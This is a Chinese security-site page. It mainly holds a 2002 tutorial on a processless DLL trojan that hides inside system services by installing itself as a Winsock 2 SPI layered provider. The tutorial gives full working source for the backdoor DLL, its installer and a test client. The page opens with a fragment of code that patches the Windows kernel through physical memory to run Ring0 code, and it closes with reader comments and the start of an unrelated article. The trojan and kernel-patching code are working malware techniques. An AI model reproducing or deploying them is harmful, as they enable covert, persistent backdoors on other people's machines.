ULONG i, n = *buffer;
PMY_PROCESS_INFO mypi = (PMY_PROCESS_INFO)(buffer
        + 1);
printf(" PID KPEB CR3 Name\n"
" ---- -------- -------- ----\n");
for (i=0; i<n; i++)
{
printf(" %-4d %08x %08x %s\n",
mypi->PID, mypi->KPEB, mypi->CR3, mypi->Name);
mypi++;
}
}

void main()
{
char *Kernel = "ntoskrnl.exe";
PVOID pKernel = NULL;
HMODULE hKernel = NULL;
HANDLE hSection = NULL;
char *mapping = NULL;
PVOID buffer = NULL;
ULONG offset;
NTSTATUS status;
char OrigCode[24], HookCode[24] =
"\xE8\xFF\xFF\xFF\xFF" // call 0xffffffff ;nt!PsGetCurrentProcessId
"\x3D\xEE\xEE\xEE\xEE" // cmp eax, 0xeeeeeeee ;自己的PID
"\x75\x05" // jne $Content$5
"\xE9\xDD\xDD\xDD\xDD" // jmp 0xdddddddd ;Ring0Code
"\xB8\x01\x00\x00\xC0" // mov eax, 0xc0000001 ;STATUS_UNSUCCESSFUL
"\xC3"; // ret
printf("\n -=< Run Ring0 Code Without Driver Demo >=-\n\n");
    // 获取系统核心模块ntoskrnl.exe的基址
pKernel = GetModuleBase(Kernel);
if (NULL == pKernel) return;
if ((ULONG)pKernel < 0x80000000 ||
        (ULONG)pKernel > 0x9FFFFFFF)
{
// 模块基址超出直接内存映射范围
printf("Error: Kernel
        module base (%08x) is out of range.\n", pKernel);
return;
}
    // 在用户态加载一份ntoskrnl.exe
hKernel = LoadLibrary(Kernel);
if (NULL == hKernel)
{
printf("LoadLibrary
        Failed: %d\n", GetLastError());
return;
}
    // 获取内核例程/变量在用户态的相对位置
if ((pfnMemcpy = (PVOID)GetProcAddress(hKernel,
        "memcpy")) &&
(pfnDbgPrint = (PVOID)GetProcAddress(hKernel, "DbgPrint")) &&
(pfnNtVdmControl =
        (PVOID)GetProcAddress(hKernel, "NtVdmControl")) &&
(pfnPsGetVersion =
        (PVOID)GetProcAddress(hKernel, "PsGetVersion")) &&
(pfnPsGetCurrentProcessId
        = (PVOID)GetProcAddress(hKernel, "PsGetCurrentProcessId")) &&
(pPsInitialSystemProcess
        = (PVOID)GetProcAddress(hKernel, "PsInitialSystemProcess")));
else
{
printf("GetProcAddress
        Failed: %d\n", GetLastError());
goto FreeAndExit;
}
// 计算内核例程/变量的实际地址
offset = (ULONG)pKernel - (ULONG)hKernel;
(ULONG)pfnMemcpy += offset;
(ULONG)pfnDbgPrint += offset;
(ULONG)pfnNtVdmControl += offset;
(ULONG)pfnPsGetVersion += offset;
(ULONG)pfnPsGetCurrentProcessId += offset;
(ULONG)pPsInitialSystemProcess += offset;
// 设置HookCode
*(ULONG*)(HookCode+1) = (ULONG)pfnPsGetCurrentProcessId - (ULONG)pfnNtVdmControl - 5;
*(ULONG*)(HookCode+6) = GetCurrentProcessId();
*(ULONG*)(HookCode+13) = (ULONG)Ring0Code - (ULONG)pfnNtVdmControl - 17;
// 打开物理内存Section
hSection = OpenPhysicalMemory();
if (NULL == hSection) goto FreeAndExit;
// 映射NtVdmControl入口附近的内存
offset = (ULONG)pfnNtVdmControl & 0x1FFFF000; // 转换到物理内存页地址
mapping = MapPhysicalMemory(hSection, offset, 0x2000);
if (NULL == mapping) goto FreeAndExit;
// 保存NtVdmControl入口代码
offset = (ULONG)pfnNtVdmControl & 0x00000FFF; // 页内偏移
memcpy(OrigCode, mapping+offset, 24);
    buffer = LocalAlloc(LPTR,
        0x1000);
if (NULL == buffer)
{
printf("LocalAlloc Failed: %d\n", GetLastError());
goto FreeAndExit;
}
    memcpy(mapping+offset,
        HookCode, 24);   // 挂钩NtVdmControl
status = NtVdmControl(0x1000, buffer);  // 调用NtVdmControl，进入Ring0
memcpy(mapping+offset, OrigCode, 24);
        // 还原NtVdmControl入口
if (!NT_SUCCESS(status))
{
printf("NtVdmControl Failed: %d\n", LsaNtStatusToWinError(status));
goto FreeAndExit;
}
ListProcessInfo(buffer);
FreeAndExit:
if (buffer
        != NULL) LocalFree(buffer);
if (mapping != NULL)
        ZwUnmapViewOfSection(hSection, mapping);
if
        (hSection != NULL) ZwClose(hSection);
if (hKernel
        != NULL) FreeLibrary(hKernel);
}


无进程DLL木马的又一开发思路与实现

作者：TOo2y
Author: TOo2y [原创]
E-mail: Brief@fz5fz.org
Homepage: www.fz5fz.org && www.safechina.net
Date: 11-3-2002
一.Windows下进程的隐藏
二.Windows Socket 2 SPI技术概述
三.基于SPI的DLL木马技术
四.主要代码分析
五.小结与后记
六.附录之源代码
一）Windows下进程的隐藏
在M$的32位操作系统中，有许许多多的办法可以实现进程隐藏的功能。在Win98下将程序注册为系统服务就可以实现在进程列表里的隐藏，但是在NT/2000下，由于操作系统添加了许多特性使得进程的隐藏提到了一个新的高度。其中，DLL木马是非常流行的一种形式，它将自己添加到其他可执行文件的进程里，这样在任务管理器里就不会出现我们的DLL文件，而是我们DLL的载体EXE文件。在Jeffrey Richter大师的文章里提到了好几种插入DLL的方式，比如说在注册表的AppInit_DLLs里添加木马DLL，特洛伊DLL方式，使用Windows挂钩和远程线程的插入等等，在此我就不做详细介绍了。现在给大家介绍一种隐藏进程的新方法，它仍然是以DLL的形式存在的（同样需要由其他可执行文件来加载），而且还具有无端口的特性。它就是使用了Windows Socket 2的新特性，服务提供者接口（Service Provider Interface)，SPI试图支持所有的32位Windows操作系统，当然也包括Windows95。
二）Windows Socket 2 SPI技术概述
Winsock 2 SPI是一个新特性，是为书写服务提供者的人员提供的。Winsock 2不仅提供了一个供应用程序访问网络服务的Windows socket应用程序编程接口（API），还包含了由传输服务提供者和名字解析服务提供者实现的Winsock服务提供者接口（SPI）和ws2_32.dll。在此以传输服务提供者为例来实现进程的隐藏。如下是应用程序，Ws2_32.dll和传输服务提供者接口之间的层次关系：
----------------------------
|Windows socket 2 应用程序|
----------------------------Windows socket 2 API
| WS2_32.DLL |
----------------------------Windows socket 2 传输SPI
| 传输服务提供者（DLL） |
----------------------------
传输服务提供者是以DLL的形式存在的，它向外只有一个入口函数，那就是WSPStartup，其中的参数LPWSAPRTOCOL_INFOW结构指针决定了服务提供者的类型，其他的30个传输服务提供者函数是以分配表的方式调用的。当网络应用程序调用WSASocket/socket函数创建套接字时，会有三个参数:地址族，套接字类型和协议，正是这三个参数共同决定了是由哪一个类型的传输服务提供者来实现本应用程序的功能。在整个层次结构中，Ws2_32.dll只是起到了媒介的作用，应用程序则是对用户功能的实现，而真正实现网络传输功能的是传输服务提供者接口。当前系统中有一些默认的服务提供者，它们已经实现了大部分基本的功能，所以我们自己在书写服务提供者程序时，只须对数据报进行“修饰”后，将数据报传送给系统服务提供者来实现剩下的功能。
在服务提供者中有三种协议：分层协议，基础协议和协议链。区分它们的方法是通过结构WSAPROTOCOL_INFOW中的Protocolchain结构的ChainLen值来实现的。分层协议的ChainLen值为0，基础协议的值为1，而协议链的值是大于1。其实分层协议和基础协议在功能实现上没有太大的区别（均可通过调用系统服务提供者实现数据转发），但是在安装上却有很大的不同。安装基础协议时我们把所有的基础服务提供者的DLL文件名和路径都替换为我们自定义的基础协议；而安装分层协议后，我们还必须将和分层协议有关的各个协议组成协议链，然后再安装协议链。在所有的服务提供者都安装完后，我们还必须重新排列它们的安装顺序，这一点很重要。当我们的WSASocket/socket创建套接字时，Ws2_32.dll就会在服务提供者数据库中按顺序搜索和WSAStartup/socket提供的三个参数相匹配的服务提供者，如果同时有两个相同类型的服务提供者存在于服务提供者数据库中，那么顺序在前的那个服务提供者就会被调用。通常，在我们安装完自己的服务提供者后，都会将自己的服务提供者重新排列在最前面。在实例instBD.exe中，我们以分层协议为例，展示如何安装传输服务提供者。
Ws2_32.dll是使用标准的动态链接库来加载服务提供者接口的DLL到系统中去的，并调用WSPStartup来初始化。WSPStartup是Windows Socket 2应用程序调用SPI程序的初始化函数，也就是入口函数。WSPStartup的参数LPWSAPROTOCOL_INFOW指针提供应用程序所期望的协议信息，然后通过这个结构指针我们可以获得所保存的系统服务提供者的DLL名称和路径，加载系统服务提供者后查找到系统SPI程序的WSPStartup函数的指针，通过这个指针我们就可以将自己服务提供者的WSPStartup函数和系统SPI程序的WSPStartup函数相关联，进而调用系统的各个服务提供者函数。在数据传输服务提供者的实现中，我们需要两个程序，一个是可执行文件用来安装传输服务提供者；另一个就是DLL形式的数据传输服务提供者。
三）基于SPI的DLL木马技术
上面我们已经介绍了传输服务提供者的特性，现在让我们来看看如果将这种技术运用于木马进程隐藏的。在每个操作系统中都有系统网络服务，它们是在系统启动时自动加载，而且很多是基于IP协议的。如果我们书写了一个IP协议的传输服务提供者，并安装在服务提供者数据库的最前端，系统网络服务就会加载我们的服务提供者。如果将木马程序嵌入到服务提供者的DLL文件之中，在启动系统网络服务时我们的木马程序也会被启动。这种形式的DLL木马只须被安装一次，而后就会被自动加载到可执行文件的进程中，还有一个特点就是它会被多个网络服务加载。通常在系统关闭时，系统网络服务才会结束，所以我们的木马程序同样可以在系统运行时保持激活状态。
在传输服务提供者中，有30个SPI函数是以分配表的形式存在的。在Ws2_32.dll中的大多数函数都有与之对应的传输服务提供者函数。如WSPRecv和WSPSend，它们在Ws2_32.dll中的对应函数是WSARecv和WSASend。我们假设自己编写了一个基于IP协议的服务提供者并安装于系统之中，当系统重启时它被svchost.exe程序加载了，而且svchost.exe在135/TCP监听，完事具备了。在我们的传输服务提供者中，自己重新编写了WSPRecv函数，对接收到的数据进行分析，如果其中含有客户端发送过来的暗号，就执行相应的命令获得期望的动作，之后我们可以调用WSPSend函数将结果发送到客户端，这样不仅隐藏了进程，而且还重用了已有的端口。
四）主要代码分析
1.instBD.exe
可执行程序instBD.exe的主要功能是安装我们自己的分层传输服务提供者，并重新排列所有传输服务提供者的顺序，使我们的服务提供者位于协议链的顶端，这样相应类型的应用程序就会首先进入我们的传输服务提供者接口。本程序只有一个参数，就是安装(-install)或卸载(-remove)。作为演示，本程序只安装了IP分层协议及与TCP相关的协议链。在backdoor.dll中，我们不对数据报进行任何修饰，只是在启动我们的木马进程。
自定义函数：
BOOL getfilter(); //获得所有已经安装的传输服务提供者
void freefilter(); //释放存储空间
void installfilter(); //安装分层协议，协议链及排序
void removefilter(); //卸载分层协议和协议链
代码分析：
protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize)；
//分配WSAPROTOCOL_INFOW结构的存储空间
totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)；
//获得系统中已安装的所有服务提供者
GetCurrentDirectory(MAX_PATH,filter_path)；
//得到当前的路径
_tcscpy(filter_name,_T("\\backdoor.dll"));
//构造服务提供者文件backdoor.dll的路径全名
WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode)；
//安装自定义的IP分层协议
iplayercataid=protoinfo[i].dwCatalogEntryId;
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志
udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
//将自定义的IP分层协议作为自定义UDP协议链的根分层服务提供者安装在协议链的顶端
WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode)；
//安装协议链
WSCWriteProviderOrder(cataentries,totalprotos)；
//更新所有服务提供者的安装顺序，把自定义的服务提供者排在所有协议的最前列
WSCDeinstallProvider(&filterguid,&errorcode)；
//卸载IP分层协议
WSCDeinstallProvider(&filterchainguid,&errorcode)；
//卸载协议链
    2.backdoor.dll
传输服务提供者都是以动态链接库的形式存在的，在应用程序需要时由Ws2_32.dll加载，在用完之后就被卸载。传输服务提供者只有一个入口函数就是WSPStartup，它是Windows
        Socket
        应用程序调用SPI的初始化函数，其他SPI函数的调用都是通过WSPStartup的参数WSPUPCALLTABLE来实现的。其中有个全局变量，可共所有调用DLL的程序读取与修改。在首次加载服务提供者时，我们启动木马进程。演示中木马进程没有任何特别的功能，当客户端和监听的服务器端口连接后，如果客户端发送了特定的暗号，服务端就会回送特定的消息。
自定义函数：
int  WSPAPI WSPStartup( WORD
        wversionrequested,LPWSPDATA lpwspdata,LPWSAPROTOCOL_INFOW
        lpprotoinfo,
WSPUPCALLTABLE upcalltable,LPWSPPROC_TABLE
        lpproctable);
//SPI函数WSPStartup和Windows Socket
        2的API函数WSAStartup相对应,WSPStartup是唯一的入口函数，剩下的30个SPI函数则是通过参数upcalltable来实现的，它们只能在内部调用，不向外提供入口

代码分析：
hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);
//创建木马进程，它只是展示数据的流通
GetModuleFileName(NULL,processname,MAX_PATH);
//获得调用本服务提供者动态链接库的可执行文件的全名
OutputDebugString(_T("Start the backdoor ..."));
//输出调试信息
layerid=protoinfo[i].dwCatalogEntryId;
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
//获得下一层传输服务提供者的标志信息
WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode)；
//获得下一层传输服务提供者的安装路径
ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH)；
//扩展环境变量
hfilter=LoadLibrary(filterpath))；
//装载下一层传输服务提供者
wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"))；
//获得下一层传输服务提供者的入口函数WSPStartup,以便调用
wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable)；
//调用下一层传输服务提供者的WSPStartup函数，实现钩子功能
nextproctable=*lpproctable;
//保存下一层服务提供者的30个服务函数指针
由于以动态链接库形式的服务提供者要向外提供一个入口函数，因此还须一个配置文件backdoor.def:
EXPORTS WSPStartup
//向外提供入口函数WSPStartup
3.testBD.exe
这是一个测试程序，用来检测木马的服务器端是否正常工作。在它发送特定的消息到服务器端后，如果服务器正常工作就会回送特定的消息，反之则不会收到任何消息。由于木马的服务器在TCP的12345端口监听，所以我们的客户端也是基于TCP协议的。

五）小结与后记
本文的目的在于向大家介绍一种编程思路，固不是任何的木马教程。其实只有在不断的对抗中，技术和思路才会不断的提高。我们只有充分的了解了各种技术，甚至有前瞻的能力才能维护好网络秩序，促进网络安全的发展。最后送给大家一句老话：知己知彼，百战不殆。
六）附录之源代码
1.backdoor源代码
#pragma data_seg("Shared")
int dllcount=0;
#pragma data_seg()
#pragma comment (linker,"/section:Shared,rws")
#define UNICODE
#define _UNICODE
#include <ws2spi.h>
#include <tchar.h>
#include <winsock2.h>
GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
LPWSAPROTOCOL_INFOW protoinfo=NULL;
WSPPROC_TABLE nextproctable;
DWORD protoinfosize=0;
HANDLE hmutex;
HANDLE hthread;
POINT nowpt;
int totalprotos=0;
DWORD WINAPI backdoor(LPVOID)
{
SOCKET sock,sockt;
WSADATA wsa;
int iret=0;
char msg[25];
struct sockaddr_in sin;
 if(WSAStartup(MAKEWORD(2,2),&wsa))
{
OutputDebugString(_T("WSAStartup Error!"));
return
        0;
}
 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
OutputDebugString(_T("Socket Error!"));
return
        0;
}
sin.sin_addr.s_addr=htons(INADDR_ANY);
sin.sin_family=AF_INET;
sin.sin_port=htons(12345);
if(bind(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString(_T("Bind Error!"));
return 0;
}
 if(listen(sock,5)==SOCKET_ERROR)
{
OutputDebugString(_T("Listen Error!"));
return
        0;
}
        while(1)
{
if((sockt=accept(sock,NULL,NULL))==SOCKET_ERROR)
{
OutputDebugString(_T("Accept
        Error!"));
continue;
}

if((iret==recv(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
{
OutputDebugString(_T("Recv Error!"));
closesocket(sockt);
continue;
}
if(strstr(msg,"i am TOo2y"))
{
memset(msg,0,sizeof(msg));
memcpy(msg,"i am waiting for you !",sizeof(msg)-1);
        if((iret==send(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
{
OutputDebugString(_T("Send
        Error!"));
closesocket(sockt);
continue;
}
}
OutputDebugString(_T("Transport
        Successfully"));
closesocket(sockt);
}
return 1;
}
BOOL
        getfilter()
{
int    errorcode;
protoinfo=NULL;
protoinfosize=0;
totalprotos=0;
if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
{
if(errorcode!=WSAENOBUFS)
{
OutputDebugString(_T("First WSCEnumProtocols Error!"));
return FALSE;
}
}
if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
{
OutputDebugString(_T("GlobalAlloc Error!"));
return FALSE;
}
if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
{
OutputDebugString(_T("Second WSCEnumProtocols Error!"));
return FALSE;
}
return TRUE;
}
void
        freefilter()
{
GlobalFree(protoinfo);
}
BOOL WINAPI DllMain(HINSTANCE hmodule,
DWORD reason,
LPVOID lpreserved)
{
TCHAR processname[MAX_PATH];
TCHAR showmessage[MAX_PATH+25];
switch(reason)
{
case
        DLL_PROCESS_ATTACH:
{
GetModuleFileName(NULL,processname,MAX_PATH);
_tcscpy(showmessage,processname);
_tcscat(showmessage,_T(" Loading my dll
        ..."));
OutputDebugString(showmessage);
hmutex=CreateMutex(NULL,FALSE,NULL);
WaitForSingleObject(hmutex,INFINITE);
dllcount++;
if(dllcount==1)
{
OutputDebugString(_T("Start the backdoor ..."));
hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);
}
ReleaseMutex(hmutex);
break;
}
case DLL_PROCESS_DETACH:
{
WaitForSingleObject(hmutex,INFINITE);
dllcount--;
if(dllcount==0)
{
CloseHandle(hthread);
}
ReleaseMutex(hmutex);
CloseHandle(hthread);
break;
}
}
return TRUE;
}

int WSPAPI WSPStartup(
WORD wversionrequested,
LPWSPDATA lpwspdata,
LPWSAPROTOCOL_INFOW lpprotoinfo,
WSPUPCALLTABLE upcalltable,
LPWSPPROC_TABLE lpproctable)
{
int i;
int errorcode;
int filterpathlen;
DWORD layerid=0;
DWORD nextlayerid=0;
TCHAR *filterpath;
HINSTANCE hfilter;
LPWSPSTARTUP wspstartupfunc=NULL;
if(lpprotoinfo->ProtocolChain.ChainLen<=1)
{
OutputDebugString(_T("ChainLen<=1"));
return FALSE;
}

getfilter();
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
{
layerid=protoinfo[i].dwCatalogEntryId;
break;
}
}
for(i=0;i<lpprotoinfo->ProtocolChain.ChainLen;i++)
{
if(lpprotoinfo->ProtocolChain.ChainEntries[i]==layerid)
{
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
break;
}
}
filterpathlen=MAX_PATH;
filterpath=(TCHAR*)GlobalAlloc(GPTR,filterpathlen);
for(i=0;i<totalprotos;i++)
{
if(nextlayerid==protoinfo[i].dwCatalogEntryId)
{
if(WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode)==SOCKET_ERROR)
{
OutputDebugString(_T("WSCGetProviderPath Error!"));
return WSAEPROVIDERFAILEDINIT;
}
break;
}
}
if(!ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH))
{
OutputDebugString(_T("ExpandEnvironmentStrings Error!"));
return WSAEPROVIDERFAILEDINIT;
}
 if((hfilter=LoadLibrary(filterpath))==NULL)
{
OutputDebugString(_T("LoadLibrary Error!"));
return
        WSAEPROVIDERFAILEDINIT;
}
 if((wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"))==NULL)
{
OutputDebugString(_T("GetProcessAddress Error!"));
return
        WSAEPROVIDERFAILEDINIT;
}
 if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)
{
OutputDebugString(_T("wspstartupfunc Error!"));
return
        errorcode;
}
nextproctable=*lpproctable;
freefilter();
return 0;
}
2.instBD源代码
#define UNICODE
#define _UNICODE
#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <ws2spi.h>
#include <sporder.h>

GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
GUID filterchainguid={0xf9065320,0x9e90,0x11d1,{0x93,0x81,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
BOOL getfilter();
void freefilter();
void installfilter();
void removefilter();
void start();
void usage();
int totalprotos=0;
DWORD protoinfosize=0;
LPWSAPROTOCOL_INFOW protoinfo=NULL;
int main(int argc,char *argv[])
{
start();
 if(argc==2)
{
if(!strcmp(argv[1],"-install"))
{
installfilter();
return 0;
}
else
        if(!strcmp(argv[1],"-remove"))
{
removefilter();
return 0;
}
}
usage();
return 0;
}
BOOL getfilter()
{
int errorcode;
protoinfo=NULL;
totalprotos=0;
protoinfosize=0;
 if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
{
if(errorcode!=WSAENOBUFS)
{
printf("First
        WSCEnumProtocols Error: %d\n",errorcode);
return
        FALSE;
}
}
if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
{
printf("GlobalAlloc in getfilter Error: %d\n",GetLastError());
return FALSE;
}
if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
{
printf("Second WSCEnumProtocols Error: %d\n",GetLastError());
return FALSE;
}
 printf("Found %d
        protocols!\n",totalprotos);
return TRUE;
}
void
        freefilter()
{
GlobalFree(protoinfo);
}
void installfilter()
{
int i;
int provcnt;
int cataindex;
int errorcode;
BOOL rawip=FALSE;
BOOL tcpip=FALSE;
DWORD iplayercataid=0,tcporigcataid;
TCHAR filter_path[MAX_PATH];
TCHAR filter_name[MAX_PATH];
TCHAR chainname[WSAPROTOCOL_LEN+1];
LPDWORD cataentries;
WSAPROTOCOL_INFOW iplayerinfo,tcpchaininfo,chainarray[1];
 getfilter();

for(i=0;i<totalprotos;i++)
{
if(!rawip
&&
        protoinfo[i].iAddressFamily==AF_INET
&& protoinfo[i].iProtocol==IPPROTO_IP)
{
rawip=TRUE;
memcpy(&iplayerinfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
iplayerinfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 &
        (~XP1_IFS_HANDLES);
}
  if(!tcpip
&&
        protoinfo[i].iAddressFamily==AF_INET
&& protoinfo[i].iProtocol==IPPROTO_TCP)
{
tcpip=TRUE;
tcporigcataid=protoinfo[i].dwCatalogEntryId;
memcpy(&tcpchaininfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
tcpchaininfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 &
        (~XP1_IFS_HANDLES);
}
}
_tcscpy(iplayerinfo.szProtocol,_TEXT("IP FILTER"));
iplayerinfo.ProtocolChain.ChainLen=LAYERED_PROTOCOL;

if(GetCurrentDirectory(MAX_PATH,filter_path)==0)
{
printf("GetCurrentDirectory Error: %d\n",GetLastError());
return ;
}
_tcscpy(filter_name,_TEXT("\\backdoor.dll"));
_tcscat(filter_path,filter_name);
 if(WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode)==SOCKET_ERROR)
{
printf("WSCInstallProvider Error: %d\n",errorcode);
return
        ;
}
freefilter();
getfilter();
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
{
iplayercataid=protoinfo[i].dwCatalogEntryId;
break;
}
}
provcnt=0;
if(tcpip)
{
swprintf(chainname,_TEXT("TCP FILTER"));
_tcscpy(tcpchaininfo.szProtocol,chainname);
if(tcpchaininfo.ProtocolChain.ChainLen==BASE_PROTOCOL)
{
tcpchaininfo.ProtocolChain.ChainEntries[1]=tcporigcataid;
}
else
{
for(i=tcpchaininfo.ProtocolChain.ChainLen;i>0;i--)
{
tcpchaininfo.ProtocolChain.ChainEntries[i+1]=tcpchaininfo.ProtocolChain.ChainEntries[i];
}
}
tcpchaininfo.ProtocolChain.ChainLen++;
tcpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
memcpy(&chainarray[provcnt++],&tcpchaininfo,sizeof(WSAPROTOCOL_INFOW));
}
if(WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode)==SOCKET_ERROR)
{
printf("WSCInstallProvider for chain Error: %d\n",errorcode);
return ;
}
freefilter();
getfilter();
if((cataentries=(LPDWORD)GlobalAlloc(GPTR,totalprotos*sizeof(WSAPROTOCOL_INFOW)))==NULL)
{
printf("GlobalAlloc int installfilter Error: %d\n",errorcode);
return ;
}
 cataindex=0;
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0
||
        memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))==0)
{
cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
}
}
 for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))!=0
&&
        memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))!=0)
{
cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
}
}
if((errorcode==WSCWriteProviderOrder(cataentries,totalprotos))!=ERROR_SUCCESS)
{
printf("WSCWriteProviderOrder Error: %d\n",GetLastError());
return ;
}
freefilter();
}
void removefilter()
{
int errorcode;
if(WSCDeinstallProvider(&filterguid,&errorcode)==SOCKET_ERROR)
{
printf("WSCDeinstall filterguid Error: %d\n",errorcode);
}
 if(WSCDeinstallProvider(&filterchainguid,&errorcode)==SOCKET_ERROR)
{
printf("WSCDeinstall filterchainguid Error:
        %d\n",errorcode);
}
return ;
}
void
        start()
{
printf("Install BackDoor, by TOo2y\n");
printf("E-mail: TOo2y@safechina.net\n");
printf("Homepage:
        www.safechina.net\n");
printf("Date:
        11-3-2002\n\n");
return ;
}
void
        usage()
{
printf("instBD  [ -install |
        -remove]\n");
return ;
}
3.testBD源代码
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
int main()
{
WSADATA
        wsa;
SOCKET   sock;
struct
        sockaddr_in sin;
char     msg[25]="i am
        TOo2y";
int      iret;
printf("===[ Test for SPI BackDoor ]===\n");
printf("===[ TOo2y at 11-3-2002 ]===\n\n");
if(WSAStartup(MAKEWORD(2,2),&wsa))
{
printf("WSAStartup Error: %d\n",WSAGetLastError());
getche();
return -1;
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket Error: %d\n",WSAGetLastError());
getche();
return -1;
}
sin.sin_addr.s_addr=inet_addr("127.0.0.1");
sin.sin_family=AF_INET;
sin.sin_port=htons(12345);
 if(connect(sock,(struct sockaddr
        *)&sin,sizeof(sin))==SOCKET_ERROR)
{
printf("Connect Error: %d\n",WSAGetLastError());
getche();
return -1;
}
if((iret=send(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
{
printf("Send Error: %d\n",WSAGetLastError());
getche();
return -1;
}
 memset(msg,0,sizeof(msg));
if((iret=recv(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
{
printf("Recv Error: %d\n",WSAGetLastError());
getche();
return -1;
}
printf("Re:
        ");
printf(msg);
 closesocket(sock);
WSACleanup();
getche();
return
        0;
}

最新评论 [发表评论] [文章投稿] 查看所有评论 推荐给好友 打印
这个设计并不出色，除了有致命的BUG之外，作者的编程技巧实在很差。这篇和另一篇衍生文章竟广为流传，我感到遗憾。
设计缺陷，就是没有利用LSP本身经手绝大多数网络数据这一特点，完全流于普通DLL木马之列。
致命的BUG之一，是使用缺省安全属性的MUTEX。除首次安装外，LSP一般都由系统进程加载，用户进城得不到MUTEX，还要INFINITE地等待。
编程技巧之差，我没有通读程序，指安装程序中的几点：
1.反复为WSAPROTOCOL_INFOW结构分配释放内存。
2.没有释放cataentries。
3.行程、格式混乱...
结论:作者一定是业余的。
( r19578 发表于 2004-9-4 12:38:00)

怎么防这种木马呢？
请高手讨论： ( QiuTiger 发表于 2004-6-12 18:34:00)

知己知彼！居然有人连这个都不懂 ( joeda 发表于 2004-2-11 18:49:00)

从你的网站我知道了 －－－－
邪恶对人类的极度诱惑！ ( bh_shoeleather 发表于 2003-9-19 12:40:00)

为什么都评论黑客而不评论技术呢？ ( Mao_jzh 发表于 2003-8-6 8:31:00)

我觉得不知道总比知道好 ( liukai_tang 发表于 2003-8-5 14:52:00)

其实黑客到没什么,不黑心就好 ( ccart 发表于 2003-7-31 19:18:00)

我觉得知道总比不知道好，哪天你被黑了，你都不知道为什么，那才悲哀呢。 ( yj_3000 发表于 2003-7-30 11:53:00)

黑客技术，搅乱江湖，不务正业，人人得而诛之， ( Gamebaby 发表于 2003-7-28 15:32:00)

.......................................................
More...


用自删除dll实现应用程序的安装卸载代码
本文译自 Alex Tilles 在 Windows Developer Network （2003 第12期）发表的一篇文章：“Writing Your Own Install and Uninstall Code”。这是一篇具有一定技术含量的文章，相信许多开发人员都需要本文介绍的技术，其中包括几个重要的技术点：
Rundll32.exe 实用程序的使用方法；
DLL 或 EXE 的自删除技术；
嵌入资源的处理技巧；
LZCOPY API 使用示范；
compress.exe,expand.exe 使用说明；
摘要

